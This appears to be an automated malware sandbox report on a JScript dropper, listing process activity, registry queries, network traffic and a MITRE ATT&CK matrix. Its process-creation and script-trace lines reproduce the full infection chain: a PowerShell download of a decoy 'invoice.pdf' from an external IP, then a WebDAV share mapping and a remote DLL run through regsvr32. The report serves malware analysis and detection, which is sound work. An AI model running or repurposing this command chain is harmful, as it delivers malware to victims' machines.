Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3357.js.csv");ITextStream.WriteLine(" entry:7515 f:xpcxfxp");ITextStream.WriteLine(" exec:2 f:xpcxfxp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49779

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4115			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5755			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1012	Thread sleep count: 4115 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 524	Thread sleep count: 5755 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2700	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1048	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6104	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4316	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1437596228.0000027F13D9B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437596228.0000027F13D38000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2669896342.000002D237E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2671720438.000002D23D25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2669987216.000002D237E40000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
